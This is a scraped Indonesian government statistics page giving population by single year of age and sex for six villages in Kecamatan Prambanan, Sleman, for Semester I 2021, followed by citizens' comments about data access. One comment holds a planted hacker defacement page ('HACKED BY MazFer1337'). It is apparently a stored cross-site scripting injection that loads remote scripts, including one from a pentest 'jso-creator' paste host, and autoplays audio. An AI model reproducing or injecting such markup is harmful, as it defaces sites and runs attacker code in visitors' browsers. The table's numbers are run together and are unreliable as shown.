Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN PRAMBANAN, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSUMBERHARJOWUKIRHARJOGAYAMHARJOSAMBIREJOMADUREJOBOKOHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun143146 2894136 776455 1197676 152151129 280145108 253620 550 1.170
2 tahun102101 2032415 392731 585645 1018688 1749299 191387 379 766
3 tahun10691 1972214 362428 524047 879699 1958086 166368 365 733
4 tahun10788 1952415 393130 613842 809892 1908681 167384 348 732
5 tahun115113 2282028 483326 594341 8411378 19190111 201414 397 811
6 tahun119117 2361920 393732 693235 6796107 2037388 161376 399 775
7 tahun122109 2311915 343239 715137 888880 16893106 199405 386 791
8 tahun120106 2261822 402831 594439 83103106 2097997 176392 401 793
9 tahun132118 2502219 413536 715443 9712098 2189393 186456 407 863
10 tahun147128 2751519 343735 724755 10211585 200116107 223477 429 906
11 tahun151131 2822013 333525 604352 9599101 2009284 176440 406 846
12 tahun136114 2502927 563434 684545 90133107 240104100 204481 427 908
13 tahun130120 2501621 374125 664240 82112115 2279593 188436 414 850
14 tahun119123 2422122 433330 634253 95116129 24593111 204424 468 892
15 tahun103101 2041818 363224 564934 8311593 2088790 177404 360 764
16 tahun8685 1712520 452725 523446 809993 19276112 188347 381 728
17 tahun110108 2182018 383328 614546 9189126 2159785 182394 411 805
18 tahun9193 1841816 343932 713533 6810992 20185104 189377 370 747
19 tahun90110 2001314 272735 624442 8696108 2049297 189362 406 768
20 tahun106107 2131917 364335 784742 8911597 2129497 191424 395 819
21 tahun85111 1961915 343330 634540 85102112 21494103 197378 411 789
22 tahun9486 1801617 333226 583138 699487 1817882 160345 336 681
23 tahun9994 1932612 382135 563441 7510489 19310385 188387 356 743
24 tahun10589 1941612 283138 694130 7110275 1778879 167383 323 706
25 tahun9596 1912322 453532 674839 8798103 2017380 153372 372 744
26 tahun9795 1922421 454129 703641 779293 185109115 224399 394 793
27 tahun112104 2162219 414332 754945 949698 1949868 166420 366 786
28 tahun8489 1732020 403540 755949 10810085 18510291 193400 374 774
29 tahun105109 2141715 323237 694555 1007291 163101100 201372 407 779
30 tahun94112 2062512 372945 745333 868873 1618788 175376 363 739
31 tahun89113 2022323 462742 695249 1019495 1898387 170368 409 777
32 tahun11199 2101219 312724 513436 709480 1748479 163362 337 699
33 tahun105116 2211322 352929 583251 837092 1627494 168323 404 727
34 tahun96112 2081522 372632 582540 658498 1829379 172339 383 722
35 tahun112122 2341325 382529 545440 9492100 19289108 197385 424 809
36 tahun98117 2151625 413236 684655 10195104 19912482 206411 419 830
37 tahun133113 2461922 413521 564250 9210996 20511095 205448 397 845
38 tahun119133 2522415 393133 644250 92111124 2359689 185423 444 867
39 tahun111132 2432314 373623 595038 88105113 21810199 200426 419 845
40 tahun128107 2352824 523227 594547 92135140 2759981 180467 426 893
41 tahun143136 2792221 433930 695359 11212399 22292110 202472 455 927
42 tahun125101 2262319 423939 785444 98128112 24010085 185469 400 869
43 tahun121114 2353023 533839 775147 98119110 22997102 199456 435 891
44 tahun109109 218145 193137 684139 80106113 21993105 198394 408 802
45 tahun109121 2301419 333542 774540 85112110 2228089 169395 421 816
46 tahun114115 2291922 413027 575436 90103112 2157985 164399 397 796
47 tahun10098 1982116 372436 603639 758798 1858488 172352 375 727
48 tahun111110 2211515 303733 703541 76110110 22084106 190392 415 807
49 tahun8998 1872519 442923 524036 7611090 20092103 195385 369 754
50 tahun9776 1731015 253329 624534 798095 17584100 184349 349 698
51 tahun109122 2312119 403138 693042 72117114 2317291 163380 426 806
52 tahun108122 2302024 443928 673343 768398 1817392 165356 407 763
53 tahun8596 1811314 272827 553438 7210297 1999397 190355 369 724
54 tahun10491 1951221 332027 473436 708371 1547590 165328 336 664
55 tahun11196 2071510 252438 623232 647298 1706984 153323 358 681
56 tahun8177 1581712 292132 534529 746784 1516983 152300 317 617
57 tahun8189 1701528 431323 362636 628284 1666958 127286 318 604
58 tahun5499 1531521 361630 462834 626799 1667082 152250 365 615
59 tahun8282 1641021 311322 353125 566369 1328474 158283 293 576
60 tahun7774 1511619 353135 662632 586476 1406265 127276 301 577
61 tahun7985 1641712 293131 622329 528193 1746078 138291 328 619
62 tahun6371 1342426 503427 612542 677774 1515160 111274 300 574
63 tahun6971 140139 223031 612226 485855 1136768 135259 260 519
64 tahun5474 1281220 321419 332829 576664 1305753 110231 259 490
65 tahun5566 1211411 252317 402630 565365 1184353 96214 242 456
66 tahun5637 931017 272016 362221 435463 1174246 88204 200 404
67 tahun5949 108119 201926 452228 505552 1075148 99217 212 429
68 tahun3936 75166 222423 471711 285050 1004243 85188 169 357
69 tahun3545 80810 181315 281210 223743 802837 65133 160 293
70 tahun4845 931015 251820 382126 473831 692630 56161 167 328
71 tahun3547 82169 251714 311117 283146 772533 58135 166 301
72 tahun3230 62312 151721 381010 203744 812626 52125 143 268
73 tahun3636 7256 111926 45912 213346 79927 36111 153 264
74 tahun2737 64310 1375 121110 212026 461821 3986 109 195
75 tahun2128 4968 14613 191319 322532 571631 4787 131 218
76 tahun2637 6358 13518 231212 242320 431019 2981 114 195
77 tahun2336 59311 14813 211012 221531 461111 2270 114 184
78 tahun2722 4976 131313 261212 242326 492414 38106 93 199
79 tahun1725 4227 968 1446 102221 431913 3270 80 150
80 ke atas124178 3023553 886888 1564687 13399137 23665111 176437 654 1.091
Jumlah7.3427.43914.7811.3841.3932.7772.2872.3554.6422.8992.9715.8706.8616.92913.7906.0596.34412.403 26.832 27.431 54.263
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih